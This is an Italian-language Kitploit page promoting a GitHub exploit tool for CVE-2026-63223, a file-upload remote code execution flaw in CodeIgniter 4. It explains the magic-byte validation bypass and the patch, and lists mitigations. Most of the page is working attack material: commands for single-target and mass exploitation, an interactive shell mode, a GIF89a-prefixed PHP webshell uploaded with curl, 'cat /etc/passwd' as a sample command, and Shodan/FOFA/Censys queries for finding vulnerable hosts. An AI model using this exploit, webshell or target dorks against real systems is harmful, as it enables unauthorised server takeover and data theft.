Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-63223 — CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in File Upload RCE. Bypass dei byte magici (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4 | Kitploit
Strumenti/GitHubGitHub/shinthink/cve-2026-63223
Scanner di Vulnerabilità WebGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration Testing
GitHubshinthink/cve-2026-63223

CVE-2026-63223

CVE-2026-63223 — CI4RCE: CodeIgniter 4 is_image/mime_in File Upload RCE. Bypass dei byte magici (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4

Vedi Repository
151 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-63223 — RCE tramite File Upload in CodeIgniter 4

Bypass dei Magic Bytes → is_image/mime_in → Webshell PHP → RCE


Panoramica

CVE-2026-63223 è una vulnerabilità di remote code execution non autenticata con severità critica (CVSS 9.8) in CodeIgniter 4, un framework web full-stack in PHP, che colpisce le versioni precedenti alla 4.7.4.

La vulnerabilità sfrutta le regole di validazione del caricamento file is_image e mime_in, che ispezionano (magic bytes) senza validare l'estensione del nome file fornita dal client. Un attaccante antepone magic bytes di immagini (header GIF89a, JPEG, PNG) al codice PHP, assegna al file il nome , supera la validazione e ottiene RCE quando il file finisce in una directory accessibile via web ed eseguibile da PHP.

solo il tipo MIME derivato dal contenuto
shell.php

CVSS: 9.8 CRITICO — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Scoperta: 31 luglio 2026 | Advisory: GHSA-mmj4-63m4-r6h5 Corretta in: CodeIgniter 4 v4.7.4

Versioni Affette

VersioneStato
< 4.7.4Vulnerabile
4.7.4+Patchata

CWE: CWE-434 — Caricamento senza restrizioni di file con tipo pericoloso PoC di riferimento: imbas007/CVE-2026-63223-POC


Meccanismo della Vulnerabilità

Causa Principale

La regola di validazione is_image di CodeIgniter 4 mappa getExtension() — che restituisce l'estensione derivata dai magic bytes (es. gif) — tramite Mimes::guessTypeFromExtension() per determinare se il file è un'immagine. L'estensione del nome file fornita dal client (getClientExtension(), es. php) non viene mai controllata:

root@kitploit:~
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
    // ...
    $type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
    //      ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
    if (mb_strpos($type, 'image') !== 0) {
        return false;  // "image/gif" → passes!
    }
    return true;  // never checks getClientExtension() = "php"
}

Perché Funziona

  1. getExtension() ≠ getClientExtension() — la prima deriva dai magic bytes (gif), la seconda dal nome file del client (php)
  2. La validazione si fida dei byte, non del nome — is_image viene superata perché Mimes::guessTypeFromExtension("gif") restituisce image/gif
  3. File salvato con il nome del client — $file->move($path, $file->getClientName()) preserva l'estensione .php
  4. Nessun controllo incrociato prima della v4.7.4 — nessuna validazione che l'estensione del client corrisponda al tipo rilevato
  5. Upload accessibili via web — le directory di upload predefinite/pubbliche servono direttamente i file PHP

Flusso dell'Attacco

root@kitploit:~
1. Attacker generates PHP webshell with GIF89a header
   → file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
   → is_image validates: image/gif → PASS
   → File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
   → Apache passes .php to PHP-FPM → PHP executes
   → GIF89a output as plaintext, then <?php code runs
4. RCE as www-data

La Correzione (v4.7.4)

Il patch aggiunge hasInvalidImageClientExtension() — ora controlla anche l'estensione del client:

root@kitploit:~
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
    $clientExtension = trim(strtolower($file->getClientExtension()), '. ');
    //                   ↑ NOW checks getClientExtension() = "php"!
    if ($clientExtension === '') return false;
    $type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
    //      ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
    return mb_strpos($type, 'image') !== 0;  // TRUE → REJECT!
}

Il cambiamento chiave: is_image ora valida sia getExtension() (derivata dal contenuto, per il controllo effettivo dell'immagine) sia getClientExtension() (fornita dal client, per rifiutare estensioni non-immagine come .php).


Installazione

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests

Utilizzo

root@kitploit:~
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar

# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"

# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell

# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php

# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20

Argomenti

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -e, --endpoint     Vulnerable upload endpoint (default: /upload/avatar)
  --field FIELD      Upload form field name (default: avatar)
  --method {gif,jpg,png}  Magic bytes disguise (default: gif)
  --filename NAME    Shell filename (default: shell.php)
  -c, --command      Shell command to execute (default: id)
  --shell            Interactive pseudo-shell mode
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)

Proof of Concept

Target Singolo

root@kitploit:~
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
root@kitploit:~
  Host          : ci4-app.com
  CodeIgniter 4 : YES
  Upload        : YES
  Shell URL     : http://ci4-app.com/uploads/shell.php
  RCE           : YES

  RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01

Sfruttamento Manuale (curl)

root@kitploit:~
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php

# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar

# Execute
curl http://target/uploads/evil.php?c=id

FOFA / Shodan

root@kitploit:~
FOFA:   body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"

Impatto

Lo sfruttamento riuscito consente di ottenere remote code execution come utente del web server:

  • Eseguire comandi di sistema arbitrari
  • Accedere alle credenziali del database dai file .env
  • Installare backdoor persistenti
  • Effettuare pivot verso reti interne
  • Deturpare o compromettere l'applicazione

Non è richiesto alcun account o autenticazione — di default, gli endpoint di upload che utilizzano is_image/mime_in senza ext_in sono vulnerabili.


La Correzione (v4.7.4)

  1. Aggiornare a CodeIgniter 4 v4.7.4 o versioni successive
  2. Workaround: abbinare is_image/mime_in alla regola di validazione ext_in
  3. Archiviare gli upload fuori dalla web root e servirli tramite proxy readfile()
  4. Generare nomi file controllati dal server con getRandomName()

Disclaimer

SOLO PER SCOPI EDUCATIVI E TEST AUTORIZZATI.

Non utilizzare contro sistemi senza esplicita autorizzazione. Gli autori non si assumono alcuna responsabilità per un uso improprio.


Riferimenti

RisorsaLink
Advisory GitHubGHSA-mmj4-63m4-r6h5
PoC di riferimentoimbas007/CVE-2026-63223-POC
Scheda NVDCVE-2026-63223
CodeIgniter v4.7.4Changelog
CWE-434Caricamento senza restrizioni

Non affiliato alla CodeIgniter Foundation.

Scarica lo strumento